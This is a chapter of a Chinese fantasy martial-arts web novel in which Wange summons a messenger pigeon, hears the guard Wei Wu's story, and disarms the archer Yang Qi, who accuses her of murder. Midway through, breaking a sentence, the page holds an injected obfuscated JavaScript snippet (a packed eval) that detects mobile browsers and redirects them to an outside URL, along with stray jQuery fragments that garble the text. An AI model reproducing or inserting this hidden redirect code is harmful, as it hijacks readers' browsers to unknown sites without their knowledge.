国师府里,这时候还是清早,好像完全没有听见外头的风波一样。
谢危行刚去镇异司例行巡视一番回来,他这最高指挥使做得清闲,反正凡事都有陆问津在任劳任怨。
他刚从外头回来,身上还带着一丝风寒,正把一封很薄的小札压在镇纸上。国师府的管家就推门进来了。
管家还带了一名供奉院服样的弟子,躬身低声:“见过指挥使大人,周师叔传话,说有事要见您。”
这周师叔,当然就是供奉院里谢危行的师叔。
那弟子顿了顿,又补了一口气:“师叔的语气很急。”
谢危行略微挑了挑眉,转身看了看挽戈:“我去一趟,卫五——”
门口侍立的镇异司都校尉抱拳应声:“属下在。”
谢危行起身,披了斗篷,临出门时,偏头吩咐:“她说什么,你就做什么。”
卫五应声:“是。”
谢危行人影一掀帘而出,靴底声很轻。他走的时候,挽戈正在纸上不知道写什么,等他走了后片刻,她才写完,交给卫五。
卫五扫了一眼,不禁讶然——那居然是一个材料清单。
他拿着那清单出了门,过了不到一盏茶的功夫,就裹着风雪回来了:“少阁主要的俱全了。”
挽戈点点头:“有劳了,多谢。”
卫五好奇地瞧着挽戈的动作。
她将一些药材按次序称量,捣碎,过筛,最后调和到细若雪粉,最后将这些用鱼胶封入一截竹筒,又嵌入一线火引。
卫五看得认真,忍不住问:“这是在……?”
挽戈淡淡解释道:“能叫来一些东西。”
她最后点了火折子,火星落在成型的火筒上,骤然喷出一缕很细很白的烟。
那烟却不散,像一根丝一样直上云霄,随即在天空上很高的地方炸开,染出了肉眼可见的一大片铁青。
半刻后,一只颜色铁青的鸽子骤然俯冲而下,落在窗沿上。
挽戈把早写好的信系在鸽腿上,鸽子歪了歪头,蹭了蹭她的手,随即振翅离开,很快没入云端。
卫五从前没见过,好奇极了:“神鬼阁的路子?”
镇异司并非每个人都通玄术,所以传音几乎都靠供奉院玄库的传信符,传得快,但距离并不能超过一里。
除非是供奉院内门弟子亲自画的符。
挽戈嗯了一声,闲聊般,随口问:“你叫卫五?”
卫五不明所以,点了点头:“对。”
“家中第五个?”
卫五愣了一下,才笑道:“属下没有家,是镇异司里指挥使亲卫的排行,除了属下,还有卫六、卫七、卫八呢。”
那当然是很寻常的对话,卫五当然以为挽戈不会再追问。
岂料挽戈却问:“为什么没有家?”
卫五想了想,好像在回忆,慢吞吞道:“属下金川郡出身的。”
他这话一出,挽戈就明白了。
卫五却好像放开了话匣子,说得平平,却像在说别的事:“十岁的时候,我和姐姐出郊玩,回来……就看不见城门了,地还在,路也还在,河也还在,就是城没了。”
他顿了下,继续道:“后来镇异司说,是诡境吃掉了。”
挽戈听着,不置可否,也并没有安慰他。两个人都像在聊一桩无关紧要的陈年往事。
“后来就进了镇异司,”卫五想了想,“三年前,指挥使大人上任时,就被挑成了亲卫,后来就叫卫五了。”
挽戈想了想,不由想起来,先前在万象诡境中,前任的镇异司指挥使,分明叫宁韫玉,看上去是谢危行的师兄。
她随口好奇问:“镇异司最高指挥使已经算是位极人臣了,还能高升吗,前任指挥使去了哪?”
不料,卫五犹豫了一下,却道:“——薨了。”
挽戈讶异。
她当然能看得出来,供奉院内门实力绝对不容小觑。宁韫玉身为老国师弟子,还是谢危行的师兄,什么事能让他都身陨?
“那案卷封了,属下资格浅,不知晓细节,”卫五很轻道,“……只听说,前任指挥使的尸体都没有抬回来。”
挽戈嗯了一下,不再追问。
片刻后,卫五忽然补了一句:“谢指挥使不一样。”
挽戈侧头看他。
“他上任的时候才十九岁,很年轻,成天找乐子,没个正形,身上官印却多——最初镇异司的宿将,谁也不把他当回事……”
“后来他动手的时候也笑,拿刑具当玩具,就谁也不敢当他太年轻了……”
“不过对我们这样的人,指挥使人很好,镇异司冷是冷,跟着他不冷……”
两人说话间,日光逐渐向上。
挽戈正要说话,骤然间眼眸一敛,偏头,侧耳:“有人。”
她话没说完,就已经一把扣住了卫五的手腕,半步后撤,带着他斜掠到屏风后。
“嘣!”
下一刻,一根粗的惊人的铁箭破窗而入,擦着案角,重重钉入屏风的立柱!
柱身木屑簌簌而下,但铁箭仍嗡嗡震响,铁羽兀自颤抖,力道未尽。
——重弓,重箭。
一击未中,但来人的身影已经到了,
庭中脚步声杂起,但为首的一个人,衣袍下甚至能看见鼓起的肌肉,握着将近一个人高的巨大的重弓。
看见那人时,卫五几乎失声脱口而出:“是羊家少主,羊祁!”
挽戈略微眨了下眼,她不认识这人,但是卫五说这是羊祁,她就知道这是谁了。
羊家是武学世家。可惜羊眙没什么天赋,即使入了神鬼阁,也谈不上是天下第一流的高手。
但是羊祁不一样。
作为羊家下一代家主的羊祁,虽然年纪也不过二十多岁,但是已经是天下有名的高手,尤其以巨力著称。
在挽戈打量羊祁的同时,羊祁也在打量挽戈。
他目光先是一滞——这姑娘是那种令人第一眼就觉得惊心动魄的漂亮。如瀑的黑发映得肤色雪白,睫羽黑长儿密,眼眸黑白分明。
挽戈这十几日住在国师府,衣裳显然不是她自己拣的,披着的鹤灰斗篷,里衣素白,但腰间一束窄红带,红白相映,显得更加令人移不开眼的好看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374039|181781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
羊祁越是移不开眼,心里越发轻慢。
花瓶而已。
他硬生生挪开了眼,心想,羊眙那种废物,死在……花瓶手里,也正常,并不冤。
羊祁并不是一个来的,后面的人,居然是顺天府的公差。尉迟向明也从后向前,走到羊祁身旁。
尉迟向明眼角掠过那支钉死在地上、有婴儿手臂粗的铁箭,只装作没看见,拱手,声音平平:“萧少阁主——”
挽戈看向他。
尉迟向明把那“萧少阁主”四个字说得很规矩,后面的话却一点也不绕:
“你杀了羊眙。此案一可江湖事江湖毕,由羊家讨个说法。二可随我走一遭,按国法问——少阁主二择其一吧。”
挽戈淡淡问:“随你去哪?”
“还能去哪?”羊祁却嗤笑了一声,插嘴,“当然是镇狱。”
他心里还有些可惜,这样的美人去了镇狱,恐怕就要香消玉殒了。但毕竟羊眙死了,羊家不可能放过她。
挽戈叹了口气,反问:“为什么说是我杀的?”
尉迟向明道:“羊眙最后一趟,来的国师府,见的是你。镇异司观影术已经照见了,他生前印象最深的事情是你攻击他。且死者……被片成了纸,刀功世所罕见。你与他有旧,且以刀法成名——诸多铁证,容不得辩驳。”
尉迟向明说了这么多话,羊祁听烦了,只冷笑补充了句:“我无意杀女人,早点去镇狱,或许还能留个全尸。”
卫五在挽戈身旁,目光一沉,刚要上前辩驳,却突然感觉手背被人轻轻按住。
挽戈没看卫五,只盯着羊祁,反问:“既然杀羊眙的人刀功了得,羊少主凭什么断定——留不了全尸的是我,而不是你?”
羊祁一滞,随即大怒。
大言不惭!
他根本忍受不了被一个薄弱的姑娘说这种话威胁,会让他觉得自己前半辈子的毕生武学修养都受到了侮辱。
他几乎立即弓背一抬,重弓上四支铁箭齐齐搭上,弦的声音嗡地瞬间绷满,下一刻,四支重箭就要破空而出,指向的方向遥遥封死了挽戈周身。
——以那四支铁箭的大小和弓的力道,但凡沾上一点,绝对会死无全尸。
但是挽戈的动作比他更快。谁也没有看出来她怎么出手的,只有卫五突然有一瞬间感觉身侧他的佩刀被谁抽出来了。
太快了。
羊祁弓刚拉满还没有出手的时候,挽戈已经瞬息之间逼近了他面前。
“当——”
那其实是很尖锐的脆响,所有人耳膜一震。刀光之间,紧绷的牛筋粗弦陡然断裂炸开,崩飞,砸在羊祁虎口上。
他只觉得手背被弦炸到的地方剧烈的麻和疼,去摸的时候,只剩下一手冰凉模糊的血。
挽戈将刀插回了卫五的刀鞘,后者这时候才发现刀被抽走了,悚然一惊。
她淡淡道:“这里是国师府,我不会在这里和你打。”
留个教训而已。
羊祁低头看断弦,又抬头看挽戈,脸色一红一白,硬生生按住了怒气,冷笑了一声:“只是弦旧了。”